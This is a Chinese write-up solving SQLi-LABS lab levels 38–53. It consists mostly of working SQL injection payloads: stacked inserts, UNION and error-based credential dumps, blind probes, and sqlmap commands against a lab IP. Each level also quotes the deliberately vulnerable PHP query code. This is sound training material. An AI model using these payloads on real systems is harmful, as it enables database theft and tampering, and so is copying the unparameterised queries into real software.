SQLi-LABS靶场Less-38~53解题记录
刷题
Page3
Less-38(GET- Stacked Query Injection - String)
GET - 堆叠查询注入 - 字符串
堆叠注入,实际上就构成了两条SQL语句
?id=1' union select 1,2,3 --+ //未报错
?id=1' union select 1,2,3,4 --+ //报错
查询出有三个字段,
使用堆叠注入,
暴位置
?id=-1' union select 1,2,3;insert into users values(33,'hacker','hacker') --+
爆库及版本
?id=-1' union select 1,version(),database();insert into users values(33,'hacker','hacker') --+
爆表
?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database();insert into users values(33,'hacker','hacker') --+
暴字段
?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users';insert into users values(33,'hacker','hacker') --+
暴值
?id=-1' union select 1,2,group_concat(username,0x3a,password) from users;insert into users values(33,'hacker','hacker') --+
代码分析
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
/* execute multi query */
if (mysqli_multi_query($con1, $sql))
Less-39(GET - Stacked Query Injection - Intiger based)
GET - 堆叠查询注入 - 基于int整型
同上题,只不过没有单引号
暴位置
?id=-1 union select 1,2,3;insert into users values(33,'hacker','hacker')
爆库及版本
?id=-1 union select 1,version(),database();insert into users values(33,'hacker','hacker')
爆表
?id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database();insert into users values(33,'hacker','hacker')
暴字段
?id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users';insert into users values(33,'hacker','hacker')
暴值
?id=-1 union select 1,2,group_concat(username,0x3a,password) from users;insert into users values(33,'hacker','hacker')
代码分析
$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";
/* execute multi query */
if (mysqli_multi_query($con1, $sql))
Less-40(GET - BLIND based - String - Stacked)
GET - 基于盲注 - 堆叠
同上题,只不过加上单引号和右括号 ‘)
使用堆叠注入,
暴位置
?id=-1') union select 1,2,3;insert into users values(33,'hacker','hacker') --+
爆库及版本
?id=-1') union select 1,version(),database();insert into users values(33,'hacker','hacker') --+
爆表
?id=-1') union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database();insert into users values(33,'hacker','hacker') --+
暴字段
?id=-1') union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users';insert into users values(33,'hacker','hacker') --+
暴值
?id=-1') union select 1,2,group_concat(username,0x3a,password) from users;insert into users values(33,'hacker','hacker') --+
代码分析
$sql="SELECT * FROM users WHERE id=('$id') LIMIT 0,1";
/* execute multi query */
if (mysqli_multi_query($con1, $sql))
Less-41(GET - BLIND based - Intiger - Stacked)
GET - 基于盲注 - int整型 - 堆叠
同39一样,只不过错误没有回显
暴位置
?id=-1 union select 1,2,3;insert into users values(33,'hacker','hacker')
爆库和版本
?id=-1 union select 1,version(),database();insert into users values(33,'hacker','hacker')
爆表
?id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database();insert into users values(33,'hacker','hacker')
暴字段
?id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users';insert into users values(33,'hacker','hacker')
暴值
?id=-1 union select 1,2,group_concat(username,0x3a,password) from users;insert into users values(33,'hacker','hacker')
代码分析
$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";
/* execute multi query */
if (mysqli_multi_query($con1, $sql))
Less-42(POST - Error based - String - Stacked)
POST - 基于错误 - 字符串 - 堆叠
看看注册页是啥
好像是禁止注册新用户了
首先使用admin:admin进行登录
发现登录进来的页面很熟悉
退出重新进入登录页面
尝试在password里面进行堆叠注入
a';create table hacker like users;insert into hacker select *from users; #
看似的确报错了,我们去数据库看看,发现hacker表已经成功建立
同样的利用此方式可以更新和插入数据项。
代码分析
$username = mysqli_real_escape_string($con1, $_POST["login_user"]);
$password = $_POST["login_password"];
$sql = "SELECT * FROM users WHERE username='$username' and password='$password'";
if (@mysqli_multi_query($con1, $sql))
Less-43(POST - Error based - String - Stacked with twist)
POST - 基于盲注 - 字符串 - 堆叠和小括号
同上,只不过多了一个)
;
payload-password: a’);create table less43 like users#
代码分析
$username = mysqli_real_escape_string($con1, $_POST["login_user"]);
$password = $_POST["login_password"];
$sql = "SELECT * FROM users WHERE username=('$username') and password=('$password')";
if (@mysqli_multi_query($con1, $sql))
Parameter: login_password (POST)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: login_user=admin&login_password=admin') AND 3114=3114-- kinF&mysubmit=Login
Type: error-based
Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
Payload: login_user=admin&login_password=admin') AND (SELECT 9105 FROM(SELECT COUNT(*),CONCAT(0x716a7a6b71,(SELECT (ELT(9105=9105,1))),0x716a6b6a71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- rvTf&mysubmit=Login
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: login_user=admin&login_password=admin') AND (SELECT 3308 FROM (SELECT(SLEEP(5)))xCka)-- twYD&mysubmit=Login
Type: UNION query
Title: Generic UNION query (NULL) - 3 columns
Payload: login_user=admin&login_password=-1339') UNION ALL SELECT NULL,CONCAT(0x716a7a6b71,0x7467725a7970747061735a584c4f7664744a6b71596751507051474d4f5a48584e7446774f4d7142,0x716a6b6a71),NULL-- -&mysubmit=Login
---
Less-44(POST - Error based - String - Stacked -Blind)
POST - 基于错误 - 字符串 - 堆叠 - 盲注
同上42,只是没有回显信息
payload-password:a’;insert into users(id,username,password) values (‘144’,’less44’,’hello’)#
代码分析
$username = mysqli_real_escape_string($con1, $_POST["login_user"]);
$password = $_POST["login_password"];
$sql = "SELECT * FROM users WHERE username='$username' and password='$password'";
if (@mysqli_multi_query($con1, $sql))
---
Parameter: login_password (POST)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: login_user=admin&login_password=admin' AND 2513=2513-- ouQj&mysubmit=Login
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: login_user=admin&login_password=admin' AND (SELECT 1752 FROM (SELECT(SLEEP(5)))XNKu)-- GDXe&mysubmit=Login
Type: UNION query
Title: Generic UNION query (NULL) - 3 columns
Payload: login_user=admin&login_password=-8220' UNION ALL SELECT NULL,CONCAT(0x716a767671,0x6f66556958554859626b6d73416f6575525a4a505546797a744f4e4c49594b74554a4c6355586a78,0x7170707a71),NULL-- -&mysubmit=Login
---
Less-45(POST - Error based - String - Stacked - Blind)
POST - 基于错误 - 字符串 - 堆叠 - 盲注
同上43,只是没有回显信息
payload-password:a’);create table less43 like users#
代码分析
$username = mysqli_real_escape_string($con1, $_POST["login_user"]);
$password = $_POST["login_password"];
$sql = "SELECT * FROM users WHERE username=('$username') and password=('$password')";
if (@mysqli_multi_query($con1, $sql))
Less-46(GET - Error based - Numeric - ORDER BY CL AUSE)
GET - 基于错误 - Numeric数字型 - order by子句
方法一:手工注入
尝试?sort=1 desc
或者asc
,显示结果不同,则表明可以注入。(升序or降序排列)
?sort=1 asc
?sort=1 desc
我们可利用order by后的一些参数进行注入。
1)、order by 后的数字可以作为一个注入点。也就是构造order by 后的一个语句,让该语句执行结果为一个数,我们尝试
?sort=left(version(),1)
没有报错,但是right换成left都一样,说明数字没有起作用,我们考虑布尔类型。此时我们可以用报错注入和延时注入。
此处可以直接构造 ?sort= 后面的一个参数。此时,我们可以有三种形式,
①直接添加注入语句,?sort=(select ******)
②利用一些函数。例如rand()函数等。?sort=rand(sql语句)
Ps:此处我们可以展示一下rand(ture)
和rand(false)
的结果是不一样的。
③利用and,例如?sort=1 and (加sql语句)。
同时,sql语句可以利用报错注入和延时注入的方式,语句我们可以很灵活的构造。
报错注入:
爆表:
?sort=extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()))) --+
暴列:
?sort=extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users'))) --+
暴值:
?sort=extractvalue(1,concat(0x7e,(select group_concat(username,0x3a,password) from users))) --+
显示未完全:
?sort=extractvalue(1,concat(0x7e,(select group_concat(username,0x3a,password) from users where username not in ('Dumb','Angelina')))) --+
方法二:sqlmap自动注入
这里我们直接指定注入方式为报错注入
python sqlmap.py -u "http://192.168.74.143:86/Less-46/?sort=1" --level=5 --risk=3 --threads=200 --dbms=mysql --technique=E --dbs
python sqlmap.py -u "http://192.168.74.143:86/Less-46/?sort=1" --level=5 --risk=3 --threads=200 --dbms=mysql --technique=E -D security --tables
python sqlmap.py -u "http://192.168.74.143:86/Less-46/?sort=1" --level=5 --risk=3 --threads=200 --dbms=mysql --technique=E -D security -T users --col
python sqlmap.py -u "http://192.168.74.143:86/Less-46/?sort=1" --level=5 --risk=3 --threads=200 --dbms=mysql --technique=E -D security -T users -C password:username -dump
代码分析
$sql = "SELECT * FROM users ORDER BY $id";
Less-47(GET - Error based - String - ORDER BY CLAUSE)
GET - 基于错误 - 字符串 - order by子句
同上,只不过变成字符型了,多一个单引号
暴表:
?sort=1' and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()))) --+
暴列:
?sort=1' and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users'))) --+
暴值:
?sort=1' and extractvalue(1,concat(0x7e,(select group_concat(username,0x3a,password) from users))) --+
显示未完全:
?sort=1' and extractvalue(1,concat(0x7e,(select group_concat(username,0x3a,password) from users where username not in ('Dumb','Angelina')))) --+
方法二:sqlmap自动注入
通less46,这里我们指定注入方式为报错注入
python sqlmap.py -u "http://192.168.74.143:86/Less-47/?sort=1" --level=5 --risk=3 --threads=200 --dbms=mysql --technique=E --dbs
python sqlmap.py -u "http://192.168.74.143:86/Less-47/?sort=1" --level=5 --risk=3 --threads=200 --dbms=mysql --technique=E -D security --tables
python sqlmap.py -u "http://192.168.74.143:86/Less-47/?sort=1" --level=5 --risk=3 --threads=200 --dbms=mysql --technique=E -D security -T users --col
python sqlmap.py -u "http://192.168.74.143:86/Less-47/?sort=1" --level=5 --risk=3 --threads=200 --dbms=mysql --technique=E -D security -T users -C password:username -dump
代码分析
$sql = "SELECT * FROM users ORDER BY '$id'";
Less-48(GET- Error based - Blind- Numeric- ORDER BY CL AUSE)
GET - 基于错误 - 盲注 - 数字整型 - order by子句
本关与less-46的区别在于报错注入不能使用,不进行错误回显,因此其他的方法我们依旧是可以使用的。
可以利用sort=rand(true/false)
进行判断。
猜解库名:
9
正确的
?sort=rand(left(database(),1)='d')
错误的
猜解表
?sort=rand(left((select table_name from information_schema.tables where table_schema=database() limit 0,1),1)='e')
猜解列
?sort=rand(left((select column_name from information_schema.columns where table_name='users' limit 0,1),1)='i')
猜解值
?sort=rand(left((select username from users limit 0,1),1)='d')
也可以用And后的延时注入
方法二:sqlmap自动注入
这里我们指定注入方式为布尔盲注
python sqlmap.py -u "http://192.168.74.143:86/Less-48/?sort=1" --level=5 --risk=3 --threads=200 --dbms=mysql --technique=B --dbs
python sqlmap.py -u "http://192.168.74.143:86/Less-48/?sort=1" --level=5 --risk=3 --threads=200 --dbms=mysql --technique=B -D security --tables
python sqlmap.py -u "http://192.168.74.143:86/Less-48/?sort=1" --level=5 --risk=3 --threads=200 --dbms=mysql --technique=B -D security -T users --col
python sqlmap.py -u "http://192.168.74.143:86/Less-48/?sort=1" --level=5 --risk=3 --threads=200 --dbms=mysql --technique=B -D security -T users -C password:username -dump
代码分析
$sql = "SELECT * FROM users ORDER BY $id";
Less-49(GET- Error based - String- Blind - ORDER BY CI AUSE)
GET - 基于错误 - 盲注 - 字符串 - order by子句
本关与47关基本类似,区别在于没有错误回显,所以我们可以通过延时注入进行注入。
利用延时注入
方法二:sqlmap自动注入
这里我们指定注入方式为布尔盲注
python sqlmap.py -u "http://192.168.74.143:86/Less-49/?sort=1" --level=5 --risk=3 --threads=200 --dbms=mysql --technique=B --dbs
python sqlmap.py -u "http://192.168.74.143:86/Less-49?sort=1" --level=5 --risk=3 --threads=200 --dbms=mysql --technique=B -D security --tables
python sqlmap.py -u "http://192.168.74.143:86/Less-49/?sort=1" --level=5 --risk=3 --threads=200 --dbms=mysql --technique=B -D security -T users --col
python sqlmap.py -u "http://192.168.74.143:86/Less-49/?sort=1" --level=5 --risk=3 --threads=200 --dbms=mysql --technique=B -D security -T users -C password:username -dump
代码分析
$sql = "SELECT * FROM users ORDER BY '$id'";
Less-50(GET - Error based - ORDER BY CLAUSE -numeric- Stacked injection)
GET - 基于错误 - order by子句 - 数字整型 - 堆叠
mysqli_multi_query()
可以执行多条sql 这个实验使用的是这个函数
mysqli_query()
只可以执行一条
?sort=1;create table less50 like users --+
进行插入和修改操作。
方法二:sqlmap自动注入
这里我们指定注入方式为布尔盲注
python sqlmap.py -u "http://192.168.74.143:86/Less-50/?sort=1" --level=5 --risk=3 --threads=200 --dbms=mysql --technique=B --dbs
python sqlmap.py -u "http://192.168.74.143:86/Less-50/?sort=1" --level=5 --risk=3 --threads=200 --dbms=mysql --technique=B -D security --tables
python sqlmap.py -u "http://192.168.74.143:86/Less-50/?sort=1" --level=5 --risk=3 --threads=200 --dbms=mysql --technique=B -D security -T users --col
python sqlmap.py -u "http://192.168.74.143:86/Less-50/?sort=1" --level=5 --risk=3 --threads=200 --dbms=mysql --technique=B -D security -T users -C password:username -dump
代码分析
$sql="SELECT * FROM users ORDER BY $id";
/* execute multi query */
if (mysqli_multi_query($con1, $sql))
Less-51(GET - Error based - ORDER BY CLAUSE-String- Stacked Injection)
GET - 基于错误 - order by子句 - 字符串 - 堆叠
同less50,只不过是字符型
mysqli_multi_query()
可以执行多条sql 这个实验使用的是这个函数
mysqli_query()
只可以执行一条
方法二:sqlmap自动注入
这里我们指定注入方式为布尔盲注
python sqlmap.py -u "http://192.168.74.143:86/Less-51/?sort=1" --level=5 --risk=3 --threads=200 --dbms=mysql --technique=B --dbs
python sqlmap.py -u "http://192.168.74.143:86/Less-51/?sort=1" --level=5 --risk=3 --threads=200 --dbms=mysql --technique=B -D security --tables
python sqlmap.py -u "http://192.168.74.143:86/Less-51/?sort=1" --level=5 --risk=3 --threads=200 --dbms=mysql --technique=B -D security -T users --col
python sqlmap.py -u "http://192.168.74.143:86/Less-51/?sort=1" --level=5 --risk=3 --threads=200 --dbms=mysql --technique=B -D security -T users -C password:username -dump
代码分析
$sql="SELECT * FROM users ORDER BY $id";
/* execute multi query */
if (mysqli_multi_query($con1, $sql))
Less-52(GET - Blind based - ORDER BY CL AUSE -numeric- Stacked injection)
GET - 基于盲注 - order by子句 - 数字整型 - 堆叠
同上50,只不过不显示错误
payload:?sort=1;create%20table%20less50%20like%20users
方法二:sqlmap自动注入
这里我们指定注入方式为布尔盲注
python sqlmap.py -u "http://192.168.74.143:86/Less-52/?sort=1" --level=5 --risk=3 --threads=200 --dbms=mysql --technique=B --dbs
python sqlmap.py -u "http://192.168.74.143:86/Less-52/?sort=1" --level=5 --risk=3 --threads=200 --dbms=mysql --technique=B -D security --tables
python sqlmap.py -u "http://192.168.74.143:86/Less-52/?sort=1" --level=5 --risk=3 --threads=200 --dbms=mysql --technique=B -D security -T users --col
python sqlmap.py -u "http://192.168.74.143:86/Less-52/?sort=1" --level=5 --risk=3 --threads=200 --dbms=mysql --technique=B -D security -T users -C password:username -dump
代码分析
$sql="SELECT * FROM users ORDER BY $id";
/* execute multi query */
if (mysqli_multi_query($con1, $sql))
Less-53(GET - GET - Blind based - ORDER BY CLAUSE -String- stacked injection)
GET - 基于盲注 - order by子句 - 字符串 - 堆叠
同上51,只不过不显示错误
payload:?sort=1%27;create%20table%20less53%20like%20users–+
方法二:sqlmap自动注入
这里我们指定注入方式为布尔盲注
python sqlmap.py -u "http://192.168.74.143:86/Less-53/?sort=1" --level=5 --risk=3 --threads=200 --dbms=mysql --technique=B --dbs
python sqlmap.py -u "http://192.168.74.143:86/Less-53/?sort=1" --level=5 --risk=3 --threads=200 --dbms=mysql --technique=B -D security --tables
python sqlmap.py -u "http://192.168.74.143:86/Less-53/?sort=1" --level=5 --risk=3 --threads=200 --dbms=mysql --technique=B -D security -T users --col
python sqlmap.py -u "http://192.168.74.143:86/Less-53/?sort=1" --level=5 --risk=3 --threads=200 --dbms=mysql --technique=B -D security -T users -C password:username -dump
代码分析
$sql="SELECT * FROM users ORDER BY '$id'";
/* execute multi query */
if (mysqli_multi_query($con1, $sql))